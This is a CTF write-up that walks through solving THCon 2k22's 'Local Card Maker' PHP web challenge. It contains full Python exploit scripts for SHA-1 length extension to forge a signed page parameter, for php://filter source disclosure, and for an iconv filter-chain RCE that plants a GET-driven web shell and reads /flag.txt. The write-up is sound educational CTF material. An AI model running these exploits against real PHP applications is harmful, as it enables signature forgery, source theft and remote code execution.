I participated in THCon 2k22 CTF and amongst the incredible “web” challenges – my favorite was “Local Card Maker” (made by jrjgjk
). In this post I’ll describe the challenge and my step-by-step solution.
The Challenge

Right off the bat we can tell there’s going to be some SHA-1 (“secure hash algorithm 1”) with a 23 character “secret key”. The attached ZIP file contained only the following scan.txt
file:
PAGE | HTTP_STATUS
/index.php ==> 200
/phpinfo.php ==> 200
/change_profile.php ==> 200
/view_profile.php ==> 200
The goal is to read the content of /flag.txt
.
Exploring the Site
The site has 2 interesting pages I could find:


The edit page sets a cookie (user_data
) with the PHP-serialized User
object set in the form (along with another cookie – user_hash
to sign that data), and the view page displays that information if the hash is valid. I tried modifying user_data
in multiple ways but kept getting hash validation errors. I decided to put that aside and try a different direction.
The URLs of these pages – http://challenges1.thcon.party:2001/index.php?page=Y2hhbmdlX3Byb2ZpbGU=&pHash=0171caa8e7a1fe56361fdce865e6e174b3b892f9
and http://challenges1.thcon.party:2001/index.php?page=dmlld19wcm9maWxl&pHash=7b6f8b016f25da478b9f28f878aa3be8cced66fd
– both seem to go through index.php
for rendering. The page
parameter is base64-encoded “change_profile” and “view_profile” which matches the files in scan.txt
!
When I tried to access /phpinfo.php
, /change_profile.php
or /view_profile.php
directly I received an error (“Direct access to this page is disable.”).
Theoretically – we can access phpinfo.php
if we could put that value (Base64-encoded) in the page
query parameter – but without finding the proper hash the validation will keep failing.
SHA-1 Exploitation
A quick Google search led me to this article which seemed like the perfect solution – if I have data and SHA-1 hash on it with a salt prefix (of known length) – I can append data to it and calculate a valid hash, without knowing the salt! To understand this section better – I recommend reading the article before proceeding.
I relied heavily on the code from the article nicolasff
posted on GitHub to create a script to fetch phpinfo.php
:
import struct
import base64
import urllib.parse
import requests
# The code below is based on https://github.com/nicolasff/pysha1 (adapted to Python3) until line 87:
top = 0xffffffff
def rotl(i, n):
lmask = top << (32-n)
rmask = top >> n
l = i & lmask
r = i & rmask
newl = r << n
newr = l >> (32-n)
return newl + newr
def add(l):
ret = 0
for e in l:
ret = (ret + e) & top
return ret
xrange = range
def sha1_impl(msg, h0, h1, h2, h3, h4):
for j in xrange(int(len(msg) / 64)):
chunk = msg[j * 64: (j+1) * 64]
w = {}
for i in xrange(16):
word = chunk[i*4: (i+1)*4]
(w[i],) = struct.unpack(">i", word)
for i in range(16, 80):
w[i] = rotl((w[i-3] ^ w[i-8] ^ w[i-14] ^ w[i-16]) & top, 1)
a = h0
b = h1
c = h2
d = h3
e = h4
for i in range(0, 80):
if 0 <= i <= 19:
f = (b & c) | ((~ b) & d)
k = 0x5A827999
elif 20 <= i <= 39:
f = b ^ c ^ d
k = 0x6ED9EBA1
elif 40 <= i <= 59:
f = (b & c) | (b & d) | (c & d)
k = 0x8F1BBCDC
elif 60 <= i <= 79:
f = b ^ c ^ d
k = 0xCA62C1D6
temp = add([rotl(a, 5), f, e, k, w[i]])
e = d
d = c
c = rotl(b, 30)
b = a
a = temp
h0 = add([h0, a])
h1 = add([h1, b])
h2 = add([h2, c])
h3 = add([h3, d])
h4 = add([h4, e])
return (h0, h1, h2, h3, h4)
def pad(msg, sz = None):
if sz == None:
sz = len(msg)
bits = sz * 8
padding = 512 - ((bits + 8) % 512) - 64
msg += b"\x80" # append bit "1", and a few zeros.
return msg + int(padding / 8) * b"\x00" + struct.pack(">q", bits) # don't count the \x80 here, hence the -8.
def sha1(msg):
# These are the constants in a standard SHA-1
return sha1_impl(pad(msg), 0x67452301 , 0xefcdab89 , 0x98badcfe , 0x10325476 , 0xc3d2e1f0)
# "Local Card Maker"-specific implementation starts here:
def sha1_bytes_to_str(result):
return ''.join([hex(x)[2:].zfill(2) for x in result])
def get_h_values(hash_string):
# Divide hash_string to 5 ints, 4 bytes each
return [int(hash_string[i*8:(i+1)*8], 16) for i in range(5)]
# "view_profile" taken from site ("page" query parameter)
block_1_buf = b"dmlld19wcm9maWxl"
# Hash taken from site ("pHash" query parameter)
block_1_hash = b"7b6f8b016f25da478b9f28f878aa3be8cced66fd"
block_1_h_values = get_h_values(block_1_hash)
# taken from description of challenge
salt_len = 23
# "aaa" is padding, since the previous SHA-1 block contains the length at the end which is parsed by PHP as Base64 data.
# I align to 4 bytes in order for the appended path to be parsed correctly.
block_2_buf = b"aaa" + base64.encodebytes(b"/.././././././././phpinfo").replace(b"\n", b"")
# Pad this second block, use a custom size with additional 64 bytes to account for the first block (which is always padded to 64)
block_2_buf_padded = pad(block_2_buf, len(block_2_buf) + 64)
joined_buf_hash = sha1_bytes_to_str(sha1_impl(block_2_buf_padded, *block_1_h_values))
print(joined_buf_hash)
# Add 23 "A"s to simulate the SHA-1 block creation with the salt, but remove the salt since it'll be added by the server.
joined_buf = pad((b"A" * salt_len) + block_1_buf)[salt_len:] + block_2_buf
encoded_joined_buf = urllib.parse.quote_plus(joined_buf)
print(encoded_joined_buf)
print(requests.get("http://challenges1.thcon.party:2001/index.php?page=%s&pHash=%s" % (encoded_joined_buf, joined_buf_hash)).content)
In the code above we use the “view_profile” page (encoded as dmlld19wcm9maWxl
in Base64) along with the salted hash (7b6f8b016f25da478b9f28f878aa3be8cced66fd
) from the site URL. We pad that to a SHA-1 block (64 bytes including the salt, first byte after data is 0x80 and last 2 bytes are length) and add a 2nd block: aaa + base64("/.././././././././phpinfo")
.
We add 3 bytes ("aaa"
) because the last byte of the previous SHA-1 block (as you can see below – 0x38 in yellow) is identified by PHP as a Base64 data byte. Aligning that to 4 bytes makes the following Base64-encoded string correctly readable (since Base64 is read aligned to 4 bytes).
The result joined_buf
which we were able to sign (before URL encoding) is:
64 6d 6c 6c 64 31 39 77 63 6d 39 6d 61 57 78 6c dmlld19wcm9maWxl 80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00 00 00 00 00 00 00 01 38 61 61 61 4c 79 34 75 ........8aaaLy4u 4c 79 34 76 4c 69 38 75 4c 79 34 76 4c 69 38 75 Ly4vLi8uLy4vLi8u 4c 79 34 76 63 47 68 77 61 57 35 6d 62 77 3d 3d Ly4vcGhwaW5mbw==
The first part (green) is the original Base64-encoded string (containing “view_profile”). The red 0x80
is the end-of-string marker added in SHA-1. Afterwards, the white 0x00
bytes are padding to complete the first chunk to 64 bytes (taking into account that 23 bytes were also used for salt and 2 bytes are used for length). The yellow 0x01 0x38
is chunk length in bits. It equals 0x138 = 312 bits = 39 bytes which is calculated by: len("dmlld19wcm9maWxl") + key_length = 16 + 23 = 39
. The next 3 cyan-colored 0x61
bytes are the padding I mentioned previously to align our Base64 string for PHP. The rest of the dark-blue bytes are the Base64 payload.
When PHP receives this payload with a valid hash – it parses the Base64-encoded path as: view_profile<unprintable characters>/.././././././././phpinfo
– which will be resolved into phpinfo
and appended by the app logic with .php
. Now we got to read what’s in phpinfo.php
!
phpinfo
If you’re unfamiliar with phpinfo()
– it’s a built-in function that prints useful information about PHP and the environment it’s running on. Here’s how it looks like when running from our exploited URL (phpinfo.php
simply calls phpinfo()
):

Within this page I found a good lead – the key used as the SHA-1 salt! The key was shown here because it’s defined as a PHP variable:

But this key isn’t enough to retrieve the flag from /flag.txt – we can’t load a .txt file since the index.php
loader code appends .php
to every Base64 payload we give it.
Bonus – Leaking index.php File Contents
I wanted to make sure I understand how index.php
works internally, so equipped with the secret key I leaked the content of index.php:
import base64
import hashlib
import requests
php_file = b"index"
path = b"php://filter/convert.base64-encode/resource=%s" % (php_file,)
key_salt = b"Thcon_SuP3r_S3cr4t_K3y!"
buf = base64.encodebytes(path).replace(b"\n", b"")
buf_hash = hashlib.sha1(key_salt + buf).hexdigest()
buf = buf.decode()
print(requests.get("http://challenges1.thcon.party:2001/index.php?page=%s&pHash=%s" % (buf, buf_hash)).content)
The result is Base64-encoded index.php
. Here it is after decoding, to better understand how this challenge works:
<?php
session_start();
require("crypto.php");
$safe_handler = new IntegrityHandler($_SERVER['SECRET_KEY'], 'sha1');
define("LOCAL_ACCESS", 1);
function createHeaders($pArray, $handler){
echo '<a href="/"><li>Home</li></a>';
foreach($pArray as $p => $v){
echo "<a href='/index.php?page=" . base64_encode($p) ."&pHash=" . $handler->secure_data(base64_encode($p)) . "' /><li>$v</li></a>";
}
}
?>
<!DOCTYPE html>
<html>
<head>
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css">
<link rel="stylesheet" type="text/css" href="css/style.css">
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>Framework</title>
</head>
<body>
<div class="headers">
<div class="inner_headers">
<div class="logo_c">
<h1>Thcon22<span>Framework</span></h1>
</div>
<ul class="nav">
<?php
createHeaders(array('change_profile' => 'Edit', 'view_profile' => 'View'), $safe_handler);
?>
</ul>
</div>
</div>
<div class="blank_space"></div>
<?php
if(isset($_GET['page']) && !empty($_GET['page']) && isset($_GET['pHash']) && !empty($_GET['pHash']))
{
$page = $_GET['page'];
$hash = $_GET['pHash'];
if($safe_handler->handle($page, $hash))
{
include(base64_decode($page) . '.php');
}
else
{
echo "<h2>Integrity verification failed...</h2>";
}
}
else{
?>
<h1>Welcome to the profile editor !</h1>
<p>Here you can create and edit your profile.<br> A card will be created for your Thcon22 participation.<br> We hope you will like the rendering !</p>
<?php
}
?>
</body>
</html>
Now we know for certain how files are loaded – include(base64_decode($page) . '.php')
. We need to find a way to load /flag.txt
even though .php
is always appended.
Getting the Flag
When I participated in hxp CTF 2021 we faced a similar problem, and I remember loknop
developed a creative solution using only PHP conversion filters passed to include()
to achieve RCE (which is much more than what we need here – reading file content, but will work!). I wrote the below solution to adapt the method to this challenge:
import base64
import hashlib
import requests
# Based on https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d (until line 52):
conversions = {
'R': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2',
'B': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2',
'C': 'convert.iconv.UTF8.CSISO2022KR',
'8': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
'9': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB',
'f': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213',
's': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61',
'z': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS',
'U': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932',
'P': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213',
'V': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5',
'0': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
'Y': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2',
'W': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2',
'd': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2',
'D': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2',
'7': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2',
'4': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2'
}
# Simple but does the trick
command = "cat /flag.txt"
#<?=`$_GET[0]`;;?>
base64_payload = "PD89YCRfR0VUWzBdYDs7Pz4"
# generate some garbage base64
filters = "convert.iconv.UTF8.CSISO2022KR|"
filters += "convert.base64-encode|"
# make sure to get rid of any equal signs in both the string we just generated and the rest of the file
filters += "convert.iconv.UTF8.UTF7|"
for c in base64_payload[::-1]:
filters += conversions[c] + "|"
# decode and reencode to get rid of everything that isn't valid base64
filters += "convert.base64-decode|"
filters += "convert.base64-encode|"
# get rid of equal signs
filters += "convert.iconv.UTF8.UTF7|"
filters += "convert.base64-decode"
file_to_use = "index"
final_payload = f"php://filter/{filters}/resource={file_to_use}".encode()
# "Local Card Maker"-specific implementation starts here:
key_salt = b"Thcon_SuP3r_S3cr4t_K3y!"
buf = base64.encodebytes(final_payload).replace(b"\n", b"")
buf_hash = (hashlib.sha1(key_salt + buf).hexdigest())
buf = buf.decode()
print(requests.get("http://challenges1.thcon.party:2001/index.php?page=%s&pHash=%s&0=%s" % (buf, buf_hash, command)).content)
The result contained the flag Thcon22{_Php_&nd_[email protected]_R000ck5$$_}
– I guess the original solution should have used Apache? 😅